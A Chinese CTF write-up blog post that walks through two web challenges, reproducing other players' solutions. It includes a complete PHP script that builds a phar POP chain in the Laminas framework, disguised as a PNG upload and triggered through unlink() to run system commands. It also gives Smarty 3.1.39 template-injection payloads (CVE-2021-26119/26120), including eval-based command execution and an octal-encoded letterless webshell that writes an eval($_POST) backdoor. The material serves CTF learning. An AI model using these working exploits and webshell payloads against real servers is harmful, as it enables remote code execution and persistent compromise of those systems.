[红明谷CTF2022] | BUU

[红明谷CTF2022] | BUU

感谢Sk1y师傅告知题目环境在哪hh, 这个复现记录应该是上周的了, 不过当时因为Fan Website遇到了点麻瓜问题所以就搁了, 今晚解决了那个小问题, 再发个文章记录一下吧, (说是复现但其实就是跟着师傅们的wp走一遍所以这里只记录操作过程, 原理不深究细节了

Fan Website

www.zip源码泄露

下载解压之后得到源码, 看到这个都有点陌生了, 快一个多月没接触过php的框架了, 不过这是小问题, 感觉读取过程跟thinkphp差不多, 直接看config下面的配置文件没发现什么信息, 到模型moudle目录下查看application的moudle.config.php文件可以看到控制器的路由

image-20220422212359995

去查看控制器的实现类可以看到有两个实现类,其中IndexController直接返回一个视图

image-20220422212931661

但是在AlbumController控制器中有一些别的操作

image-20220422213838984

更多的函数操作

image-20220422213310853

<?php
namespace Album\Controller;

use Album\Model\AlbumTable;
use Laminas\Mvc\Controller\AbstractActionController;
use Laminas\View\Model\ViewModel;
use Album\Form\AlbumForm;
use Album\Form\UploadForm;
use Album\Model\Album;

class AlbumController extends AbstractActionController
{
    // Add this property:
    private $table;
    private $white_list;

    public function __construct(AlbumTable $table){
        $this->table = $table;
        $this->white_list = array('.jpg','.jpeg','.png');
    }

    public function indexAction()
    {
        return new ViewModel([
            'albums' => $this->table->fetchAll(),
        ]);
    }

    public function addAction()
    {
        $form = new AlbumForm();
        $form->get('submit')->setValue('Add');

        $request = $this->getRequest();

        if (! $request->isPost()) {
            return ['form' => $form];
        }

        $album = new Album();
        $form->setInputFilter($album->getInputFilter());
        $form->setData($request->getPost());

        if (! $form->isValid()) {
            return ['form' => $form];
        }

        $album->exchangeArray($form->getData());
        $this->table->saveAlbum($album);
        return $this->redirect()->toRoute('album');
    }

    public function editAction()
    {
        $id = (int) $this->params()->fromRoute('id', 0);

        if (0 === $id) {
            return $this->redirect()->toRoute('album', ['action' => 'add']);
        }

        // Retrieve the album with the specified id. Doing so raises
        // an exception if the album is not found, which should result
        // in redirecting to the landing page.
        try {
            $album = $this->table->getAlbum($id);
        } catch (\Exception $e) {
            return $this->redirect()->toRoute('album', ['action' => 'index']);
        }

        $form = new AlbumForm();
        $form->bind($album);
        $form->get('submit')->setAttribute('value', 'Edit');

        $request = $this->getRequest();
        $viewData = ['id' => $id, 'form' => $form];

        if (! $request->isPost()) {
            return $viewData;
        }

        $form->setInputFilter($album->getInputFilter());
        $form->setData($request->getPost());

        if (! $form->isValid()) {
            return $viewData;
        }

        $this->table->saveAlbum($album);

        // Redirect to album list
        return $this->redirect()->toRoute('album', ['action' => 'index']);
    }

    public function deleteAction()
    {
        $id = (int) $this->params()->fromRoute('id', 0);
        if (!$id) {
            return $this->redirect()->toRoute('album');
        }

        $request = $this->getRequest();
        if ($request->isPost()) {
            $del = $request->getPost('del', 'No');

            if ($del == 'Yes') {
                $id = (int) $request->getPost('id');
                $this->table->deleteAlbum($id);
            }

            // Redirect to list of albums
            return $this->redirect()->toRoute('album');
        }

        return [
            'id'    => $id,
            'album' => $this->table->getAlbum($id),
        ];
    }

    public function imgdeleteAction()
    {
        $request = $this->getRequest();
        if(isset($request->getPost()['imgpath'])){
            $imgpath = $request->getPost()['imgpath'];
            $base = substr($imgpath,-4,4);
            if(in_array($base,$this->white_list)){     //白名单
                @unlink($imgpath);
            }else{
                echo 'Only Img File Can Be Deleted!';
            }
        }
    }
    public function imguploadAction()
    {
        $form = new UploadForm('upload-form');

        $request = $this->getRequest();
        if ($request->isPost()) {
            // Make certain to merge the $_FILES info!
            $post = array_merge_recursive(
                $request->getPost()->toArray(),
                $request->getFiles()->toArray()
            );

            $form->setData($post);
            if ($form->isValid()) {
                $data = $form->getData();
                $base = substr($data["image-file"]["name"],-4,4);
                if(in_array($base,$this->white_list)){   //白名单限制
                    $cont = file_get_contents($data["image-file"]["tmp_name"]);
                    if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
                        die("Not This");
                    }
                    if($data["image-file"]["size"]<3000){
                        die("The picture size must be more than 3kb");
                    }
                    $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
                    echo $img_path;
                    $form->saveImg($data["image-file"]["tmp_name"],$img_path);
                }else{
                    echo 'Only Img Can Be Uploaded!';
                }
                // Form is valid, save the form!
                //return $this->redirect()->toRoute('upload-form/success');
            }
        }

        return ['form' => $form];
    }

}

所有Action接口访问后有以下可用:

/album/index
/album/edit
/album/delete
/album/delete
/album/imgdelete
/album/imgupload

前面三个都是编辑数据的,没在本地跑起来过但是应该是将数据写入sql数据库但是试了一下注入都不行,所以只能照着wp反序列化了

那么我们可用的控制器就上面这些了,可以从哪里反序列化呢?上面也没有unserializeinclude, 实际上在这里是通过unlink函数执行phar的反序列化, 更多的phar反序列化受害函数我曾在Phar的绕过总结过一次,其中就有unlink函数(等有时间了之后结合php-parser生成语法树写个正则匹配整个项目的fuzz脚本hh)

image-20220422214909074

行了, 反序列化触发点有了, 那么怎么找poc链?

这个比赛时找不大现实, 这个是使用Zend FrameWork Pop Chain中的链子, 至于怎么知道使用这个链子的,貌似是直接看composer.json得到laminas-log版本号为2.11然后进一步得出存在调用链, 第一篇文章就是我们提到的文章

image-20220422220402880

image-20220422220523063

链子就先不跟了, 下周比赛完之后有时间再来跟一下这个链子(又是一个坑), 直接放poc:

<?php

namespace Laminas\View\Resolver{
    class TemplateMapResolver{
        protected $map = ["setBody"=>"system"];
    }
}
namespace Laminas\View\Renderer{
    class PhpRenderer{
        private $__helpers;
        function __construct(){
            $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
        }
    }
}

namespace Laminas\Log\Writer{
    abstract class AbstractWriter{}

    class Mail extends AbstractWriter{
        protected $eventsToMail = ["cat /flag"];
        protected $subjectPrependText = null;
        protected $mail;
        function __construct(){
            $this->mail = new \Laminas\View\Renderer\PhpRenderer();
        }
    }
}

namespace Laminas\Log{
    class Logger{
        protected $writers;
        function __construct(){
            $this->writers = [new \Laminas\Log\Writer\Mail()];
        }
    }
    function __wakeup(){
        system('calc');
    }
}

namespace{
    $a = new \Laminas\Log\Logger();
    @unlink("phar.phar.tar.gz");
    $phar = new Phar("phar.phar");
    $phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", str_repeat("test",1000000));
    $phar->stopBuffering();
}

把得到的pahr.pahr.tar.gz改为1.png然后上传上去

image-20220426003720886

吐槽:有点难受的是周五做的时候不知道是协议写错了还是怎么样,生成的pahr文件就是触发不了,现在回来.诶--又行了,麻

image-20220426004552696

[HMGCTF2022]Smarty Calculator

详细可以去看其他师傅文章,不多说了,直接跟着师傅的思路走了一遍又调了一遍而已,不向动脑了eee,总结一下思路:

  1. 设置cookie的login=1才能计算

  2. www.zip泄露得到web框架是Smarty,版本为3.1.39

  3. 在3.1.38有一个代码注入漏洞,CVE-2021-26119和CVE-2021-26120国外有师傅分析过漏洞的文章

    3.1.38的漏洞poc:function+name='rce(){};system("id");function+'}{/function

  4. 3.1.38的漏洞poc在3.1.39不能打通,可以通过源码比对或者本地运行打点调试可以发现是漏洞文件

  5. smarty_internal_compile_function.php中多了一个正则过滤preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)

  6. 所以其实就是包括_\x80-\xff在内的无字符webshell绕过

  7. 执行命令读出/flag, 但是直接cat /flag并不能成功(虽然ls -al 看到是有读权限的), 先cp /flag /tmp/flag复制一份flag到/tmp/flag下然后cat /tmp/flag就行

payload1:

GET:
?1=system('cp /flag /tmp/1');system('cat /tmp/1');
POST:
data=%7Bfunction%20name%3D'exp()%7B%7D%3Beval(%24_GET%5B1%5D)%3Bfunction%0A%0A'%7D%7B%2Ffunction%7D
Cookie:
login=1

payload2:

无字母webshell(或)

data= {math equation="1;('%30%28%30%29%2e%26%2f'|'%40%40%40%40%40%40%40')();//" }

无字母webshell(八进制)

data={$poc="poc"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\31\\2e\\70\\68\\70\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\120\\117\\123\\124\\133\\47\\141\\47\\135\\51\\73\\77\\76\")"}

payload1的结果:

image-20220426010257318

框架详细一些的分析可以看下面几篇文章,懒得自己写了

文章一 文章二 文章三

收工,开始本周的CTF摆烂生活

image-20220426012116835

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇